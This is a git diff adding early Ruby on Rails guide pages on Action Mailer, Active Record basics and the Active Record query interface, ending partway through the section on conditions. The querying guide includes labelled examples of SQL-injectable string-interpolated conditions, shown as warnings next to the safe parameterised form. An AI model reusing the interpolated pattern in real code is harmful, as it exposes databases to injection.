+Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_&lt;method_name&gt;+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this.
+
+h4. Action Mailer and Dynamic +deliver_&lt;method_name&gt;+ methods
+
+So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section:
+
+You never instantiate your mailer class. Rather, your delivery instance methods are automatically wrapped in class methods that start with the word +deliver_+ followed by the name of the mailer method that you would like to deliver.
+
+So, how exactly does this work?
+
+Looking at the +ActionMailer::Base+ source, you will find this:
+
+<ruby>
+def method_missing(method_symbol, *parameters)#:nodoc:
+ case method_symbol.id2name
+ when /^create_([_a-z]\w*)/ then new($1, *parameters).mail
+ when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
+ when "new" then nil
+ else super
+ end
+end
+</ruby>
+
+Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+ calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it.
+
+h4. Complete List of Action Mailer User-Settable Attributes
+
+|bcc| The BCC addresses of the email|
+|body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message|
+|cc| The CC addresses for the email|
+|charset| The charset to use for the email. This defaults to the +default_charset+ specified for ActionMailer::Base.|
+|content_type| The content type for the email. This defaults to "text/plain" but the filename may specify it|
+|from| The from address of the email|
+|reply_to| The address (if different than the "from" address) to direct replies to this email|
+|headers| Additional headers to be added to the email|
+|implicit_parts_order| The order in which parts should be sorted, based on the content type. This defaults to the value of +default_implicit_parts_order+|
+|mime_version| Defaults to "1.0", but may be explicitly given if needed|
+|recipient| The recipient addresses of the email, either as a string (for a single address) or an array of strings (for multiple addresses)|
+|sent_on| The timestamp on which the message was sent. If unset, the header will be set by the delivery agent|
+|subject| The subject of the email|
+|template| The template to use. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template|
+
+h4. Mailer Views
+
+Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because it's name is the same as the mailer method. So for example, in our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.text.html.erb+ for the HTML version and +welcome_email.text.plain.erb+ for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ recipients user.email
+ from "My Awesome Site Notifications<notifications@example.com>"
+ subject "Welcome to My Awesome Site"
+ sent_on Time.now
+ body {:user => user, :url => "http://example.com/login"}
+ content_type "text/html"
+ # use some_other_template.text.(html|plain).erb instead
+ template "some_other_template"
+end
+</ruby>
+
+h4. Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name needs to end in "_mailer" to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout +user_mailer.text.(html|plain).erb+. In order to use a different file just use:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ layout 'awesome' # use awesome.text.(html|plain).erb as the layout
+end
+</ruby>
+
+Just like with controller views, use +yield+ to render the view inside the layout.
+
+h4. Generating URLs in Action Mailer Views
+
+URLs can be generated in mailer views using +url_for+ or named routes.
+Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
+
+<erb>
+<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
+</erb>
+
+When using named routes you only need to supply the +:host+:
+
+<erb>
+<%= users_url(:host => "example.com") %>
+</erb>
+
+Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+
+It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in
+the +ActionMailer::Base.default_url_options+ hash as follows:
+
+<erb>
+ActionMailer::Base.default_url_options[:host] = "example.com"
+</erb>
+
+This can also be set as a configuration option in +config/environment.rb+:
+
+<erb>
+config.action_mailer.default_url_options = { :host => "example.com" }
+</erb>
+
+If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included.
+
+h4. Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+
+To explicitly specify multipart messages, you can do something like:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ recipients user.email_address
+ subject "New account information"
+ from "system@example.com"
+ content_type "multipart/alternative"
+
+ part :content_type => "text/html",
+ :body => "<p>html content, can also be the name of an action that you call<p>"
+
+ part "text/plain" do |p|
+ p.body = "text content, can also be the name of an action that you call"
+ end
+ end
+end
+</ruby>
+
+h4. Sending Emails with Attachments
+
+Attachments can be added by using the +attachment+ method:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ recipients user.email_address
+ subject "New account information"
+ from "system@example.com"
+ content_type "multipart/alternative"
+
+ attachment :content_type => "image/jpeg",
+ :body => File.read("an-image.jpg")
+
+ attachment "application/pdf" do |a|
+ a.body = generate_your_pdf_here()
+ end
+ end
+end
+</ruby>
+
+h4. Sending Multipart Emails with Attachments
+
+Once you use the +attachment+ method, ActionMailer will no longer automagically use the correct template based on the filename. You must declare which template you are using for each content type via the +part+ method.
+
+In the following example, there would be two template files, +welcome_email_html.erb+ and +welcome_email_plain.erb+ in the +app/views/user_mailer+ folder.
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ recipients user.email_address
+ subject "New account information"
+ from "system@example.com"
+ content_type "multipart/alternative"
+
+ part "text/html" do |p|
+ p.body = render_message("welcome_email_html", :message => "<h1>HTML content</h1>")
+ end
+
+ part "text/plain" do |p|
+ p.body = render_message("welcome_email_plain", :message => "text content")
+ end
+
+ attachment :content_type => "image/jpeg",
+ :body => File.read("an-image.jpg")
+
+ attachment "application/pdf" do |a|
+ a.body = generate_your_pdf_here()
+ end
+ end
+end
+</ruby>
+
+h3. Receiving Emails
+
+Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need:
+
+1. Implement a +receive+ method in your mailer.
+
+2. Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/runner 'UserMailer.receive(STDIN.read)'+.
+
+Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by_address(email.to.first)
+ page.emails.create(
+ :subject => email.subject,
+ :body => email.body
+ )
+
+ if email.has_attachments?
+ for attachment in email.attachments
+ page.attachments.create({
+ :file => attachment,
+ :description => email.subject
+ })
+ end
+ end
+ end
+end
+</ruby>
+
+h3. Using Action Mailer Helpers
+
+Action Mailer classes have 4 helper methods available to them:
+
+|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller.|
+|helper(*args, &block)| Declare a helper: helper :foo requires 'foo_helper' and includes FooHelper in the template class. helper FooHelper includes FooHelper in the template class. helper { def foo() "#{bar} is the very best" end } evaluates the block in the template class, adding method foo. helper(:three, BlindHelper) { def mice() 'mice' end } does all three. |
+|helper_method| Declare a controller method as a helper. For example, helper_method :link_to def link_to(name, options) ... end makes the link_to controller method available in the view.|
+|helper_attr| Declare a controller attribute as a helper. For example, helper_attr :name attr_accessor :name makes the name and name= controller methods available in the view. The is a convenience wrapper for helper_method.|
+
+h3. Action Mailer Configuration
+
+The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+
+|template_root|Determines the base from which template references will be made.|
+|logger|the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.|
+|smtp_settings|Allows detailed configuration for :smtp delivery method: :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting. :port - On the off chance that your mail server doesn't run on port 25, you can change it. :domain - If you need to specify a HELO domain, you can do it here. :user_name - If your mail server requires authentication, set the username in this setting. :password - If your mail server requires authentication, set the password in this setting. :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.|
+|sendmail_settings|Allows you to override options for the :sendmail delivery method. :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail. :arguments - The command line arguments. Defaults to -i -t.|
+|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.|
+|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.|
+|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.|
+|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also pick a different charset from inside a method with charset.|
+|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You can also pick a different content type from inside a method with content_type.|
+|default_mime_version|The default mime version used for the message. Defaults to 1.0. You can also pick a different value from inside a method with mime_version.|
+|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.|
+
+
+h4. Example Action Mailer Configuration
+
+An example would be:
+
+<ruby>
+ActionMailer::Base.delivery_method = :sendmail
+ActionMailer::Base.sendmail_settings = {
+ :location => '/usr/sbin/sendmail',
+ :arguments => '-i -t'
+}
+ActionMailer::Base.perform_deliveries = true
+ActionMailer::Base.raise_delivery_errors = true
+ActionMailer::Base.default_charset = "iso-8859-1"
+</ruby>
+
+h4. Action Mailer Configuration for GMail
+
+Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html
+
+First you must install the +action_mailer_tls+ plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer.
+
+<ruby>
+ActionMailer::Base.smtp_settings = {
+ :address => "smtp.gmail.com",
+ :port => 587,
+ :domain => "domain.com",
+ :user_name => "user@domain.com",
+ :password => "password",
+ :authentication => :plain
+}
+</ruby>
+
+h4. Configure Action Mailer to Recognize HAML Templates
+
+In +config/environment.rb+, add the following line:
+
+<ruby>
+ActionMailer::Base.register_template_extension('haml')
+</ruby>
+
+h3. Mailer Testing
+
+By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
+
+Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+
+<ruby>
+class UserMailerTest < ActionMailer::TestCase
+ tests UserMailer
+
+ def test_welcome_email
+ user = users(:some_user_in_your_fixtures)
+
+ # Send the email, then test that it got queued
+ email = UserMailer.deliver_welcome_email(user)
+ assert !ActionMailer::Base.deliveries.empty?
+
+ # Test the body of the sent email contains what we expect it to
+ assert_equal [@user.email], email.to
+ assert_equal "Welcome to My Awesome Site", email.subject
+ assert_match /Welcome to example.com, #{user.first_name}/, email.body
+ end
+end
+</ruby>
+
+In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/25
diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile
new file mode 100644
index 0000000000..afff892fd4
--- /dev/null
+++ b/railties/guides/source/active_record_basics.textile
@@ -0,0 +1,135 @@
+h2. Active Record Basics
+
+This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
+
+After reading this guide we hope that you'll be able to:
+
+* Understand the way Active Record fits into the MVC model.
+* Create basic Active Record models and map them with your database tables.
+* Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
+* Follow the naming conventions used by Rails to make developing database applications easier and obvious.
+* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
+* Use Active Record with legacy databases that do not follow the Rails naming conventions.
+
+endprologue.
+
+h3. What's Active Record?
+
+Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
+
+* Each database table is mapped to a class.
+* Each table column is mapped to an attribute of this class.
+* Each instance of this class is mapped to a single row in the database table.
+
+The definition of the Active Record pattern in Martin Fowler's words:
+
+??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
+
+h3. Object Relational Mapping
+
+The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
+
+h3. ActiveRecord as an ORM Framework
+
+ActiveRecord gives us several mechanisms, being the most important ones the ability to:
+
+* Represent models.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get recorded to the database.
+* Perform database operations in an object-oriented fashion.
+
+It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
+
+h3. Active Record Inside the MVC Model
+
+Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
+
+h3. Convention over Configuration in ActiveRecord
+
+When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
+
+h4. Naming Conventions
+
+By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:
+
+* Database Table - Plural with underscores separating words i.e. (book_clubs)
+* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
+
+|_.Model / Class |_.Table / Schema |
+|Post |posts|
+|LineItem |line_items|
+|Deer |deer|
+|Mouse |mice|
+|Person |people|
+
+
+h4. Schema Conventions
+
+ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.
+
+* *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models.
+* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using "Rails Migrations":http://guides.rails.info/migrations.html to create your tables, this column will be automatically created.
+
+There are also some optional column names that will create additional features to ActiveRecord instances:
+
+* *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record.
+* *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record.
+* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model.
+* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html
+* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
+
+NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+h3. Creating ActiveRecord Models
+
+It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go:
+
+<ruby>
+class Product < ActiveRecord::Base; end
+</ruby>
+
+This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like:
+
+<sql>
+CREATE TABLE products (
+ id int(11) NOT NULL auto_increment,
+ name varchar(255),
+ PRIMARY KEY (id)
+);
+</sql>
+
+Following the table schema above, you would be able to write code like the following:
+
+<ruby>
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+</ruby>
+
+h3. Overriding the Naming Conventions
+
+What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
+
+You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
+<ruby>
+class Product < ActiveRecord::Base
+ set_table_name "PRODUCT"
+end
+</ruby>
+
+It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that:
+<ruby>
+class Product < ActiveRecord::Base
+ set_primary_key "product_id"
+end
+</ruby>
+
+h3. Validations
+
+ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation.
+
+h3. Callbacks
+
+ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks.
+
diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile
new file mode 100644
index 0000000000..b112c4f5fb
--- /dev/null
+++ b/railties/guides/source/active_record_querying.textile
@@ -0,0 +1,968 @@
+h2. Active Record Query Interface
+
+This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
+
+* Find records using a variety of methods and conditions
+* Specify the order, retrieved attributes, grouping, and other properties of the found records
+* Use eager loading to reduce the number of database queries needed for data retrieval
+* Use dynamic finders methods
+* Create named scopes to add custom finding behavior to your models
+* Check for the existence of particular records
+* Perform various calculations on Active Record models
+
+endprologue.
+
+If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models uses +id+ as the primary key, unless specified otherwise.
+
+<br />
+
+<ruby>
+class Client < ActiveRecord::Base
+ has_one :address
+ has_one :mailing_address
+ has_many :orders
+ has_and_belongs_to_many :roles
+end
+</ruby>
+
+<ruby>
+class Address < ActiveRecord::Base
+ belongs_to :client
+end
+</ruby>
+
+<ruby>
+class MailingAddress < Address
+end
+</ruby>
+
+<ruby>
+class Order < ActiveRecord::Base
+ belongs_to :client, :counter_cache => true
+end
+</ruby>
+
+<ruby>
+class Role < ActiveRecord::Base
+ has_and_belongs_to_many :clients
+end
+</ruby>
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+h3. Retrieving Objects from the Database
+
+To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL.
+
+Primary operation of <tt>Model.find(options)</tt> can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run +after_find+ callbacks if any.
+
+h4. Retrieving a Single Object
+
+Active Record lets you retrieve a single object using three different ways.
+
+h5. Using a Primary Key
+
+Using <tt>Model.find(primary_key, options = nil)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example:
+
+<ruby>
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+=> #<Client id: 10, name: => "Ryan">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id = 10)
+</sql>
+
+<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
+
+h5. +first+
+
+<tt>Model.first(options = nil)</tt> finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example:
+
+<ruby>
+client = Client.first
+=> #<Client id: 1, name: => "Lifo">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 1
+</sql>
+
+<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+
+
+h5. +last+
+
+<tt>Model.last(options = nil)</tt> finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example:
+
+<ruby>
+client = Client.last
+=> #<Client id: 221, name: => "Russel">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+</sql>
+
+<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+
+
+h4. Retrieving Multiple Objects
+
+h5. Using Multiple Primary Keys
+
+<tt>Model.find(array_of_primary_key, options = nil)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example:
+
+<ruby>
+# Find the clients with primary keys 1 and 10.
+client = Client.find(1, 10) # Or even Client.find([1, 10])
+=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">]
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+</sql>
+
+<tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
+
+h5. Find all
+
+<tt>Model.all(options = nil)</tt> finds all the records matching the supplied +options+. If no +options+ are supplied, all rows from the database are returned.
+
+<ruby>
+# Find all the clients.
+clients = Client.all
+=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">, #<Client id: 221, name: => "Russel">]
+</ruby>
+
+And the equivalent SQL is:
+
+<sql>
+SELECT * FROM clients
+</sql>
+
+<tt>Model.all</tt> returns an empty array +[]+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+
+
+h4. Retrieving Multiple Objects in Batches
+
+Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc.
+
+The following may seem very straight forward at first:
+
+<ruby>
+# Very inefficient when users table has thousands of rows.
+User.all.each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible.
+
+This is because +User.all+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory.
+
+h5. +find_each+
+
+To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+:
+
+<ruby>
+User.find_each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Configuring the batch size*
+
+Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option.
+
+To fetch +User+ records in batch size of +5000+:
+
+<ruby>
+User.find_each(:batch_size => 5000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Starting batch find from a specific primary key*
+
+Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint.
+
+To send newsletters only to users with the primary key starting from +2000+:
+
+<ruby>
+User.find_each(:batch_size => 5000, :start => 2000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Additional options*
+
++find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly.
+
+h5. +find_in_batches+
+
+You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead:
+
+<ruby>
+# Works in chunks of 1000 invoices at a time.
+Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
+ export.add_invoices(invoices)
+end
+</ruby>
+
+The above will yield the supplied block with +1000+ invoices every time.
+
+h3. Conditions
+
+The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+h4. Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+
+h4. Array Conditions
+
+Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+</ruby>
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
+
+Or if you want to specify two conditions, you can do it like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])
+</ruby>
+
+In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
+
+The reason for doing code like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+</ruby>
+
+instead of:
+
+<ruby>
+Client.first(:conditions => "orders_count = #{params[:orders]}")
+</ruby>
+
+is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
+
+h5. Placeholder Conditions
+
+Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
+
+<ruby>
+Client.all(:conditions =>
+ ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+</ruby>
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+h5. Range Conditions
+
+If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
+
+<ruby>
+Client.all(:conditions => ["created_at IN (?)",
+ (params[:start_date].to_date)..(params[:end_date].to_date)])
+</ruby>
+
+This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
+
+<sql>
+SELECT * FROM users WHERE (created_at IN
+ ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+ '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+ '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+ '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+ ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+ '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+ '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+</sql>
+
+h5. Time and Date Conditions
+
+Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
+
+<ruby>
+Client.all(:conditions => ["created_at IN (?)",
+ (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+</ruby>
+
+<sql>
+SELECT * FROM users WHERE (created_at IN
+ ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+ '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+</sql>
+
+This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
+
+<shell>
+Got a packet bigger than 'max_allowed_packet' bytes: _query_
+</shell>
+
+Where _query_ is the actual query used to get that error.
+
+In this example it would be better to use greater-than and less-than operators in SQL, like so:
+
+<ruby>
+Client.all(:conditions =>
+ ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+</ruby>
+
+You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
+
+<ruby>
+Client.all(:conditions =>
+ ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+</ruby>
+
+Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":#hash-conditions section later on in the guide.
+
+h4. Hash Conditions
+
+Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+h5. Equality Conditions
+
+<ruby>
+Client.all(:conditions => { :locked => true })
+</ruby>
+
+The field name does not have to be a symbol it can also be a string:
+
+<ruby>
+Client.all(:conditions => { 'locked' => true })
+</ruby>
+
+h5. Range Conditions
+
